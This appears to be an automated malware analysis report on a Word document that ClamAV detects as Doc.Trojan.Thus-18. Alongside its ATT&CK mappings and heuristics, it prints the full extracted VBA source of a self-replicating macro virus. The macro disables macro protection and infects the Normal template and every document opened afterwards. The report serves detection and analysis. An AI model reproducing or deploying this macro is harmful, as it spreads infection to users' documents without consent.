MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros, specifically a Document_Open macro designed to infect the Normal.dot template. This indicates an attempt to establish persistence or spread further infection. The ClamAV detection 'Doc.Trojan.Thus-18' further supports the malicious nature of the file.
Heuristics 3
-
ClamAV: Doc.Trojan.Thus-18 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Thus-18
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1182 bytes |
SHA-256: 730386d1933991e603e33bf57af056c5eeeae94a00f36e1c3ff39039551b062e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Please do NOT modify this file !
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
Set ad = ActiveDocument.VBProject.VBComponents(1).CodeModule
Set nt = NormalTemplate.VBProject.VBComponents(1).CodeModule
Dim mark As String
mark = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(1, 1)
If mark = "'Please do NOT modify this file !" Then
MsgBox ("Document infected!!!")
ad.DeleteLines 1, ad.CountOfLines
ad.InsertLines 1, nt.Lines(1, nt.CountOfLines)
Else
MsgBox ("Template infected!!!")
NormalTemplate.VBProject.VBComponents(1).CodeModule.DeleteLines 1, nt.CountOfLines
nt.InsertLines 1, "'Please do NOT modify this file !"
nt.InsertLines 2, ad.Lines(2, ad.CountOfLines)
NormalTemplate.Save
ActiveDocument.Save
' [MOT] (C) Dr.Copy 1999
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.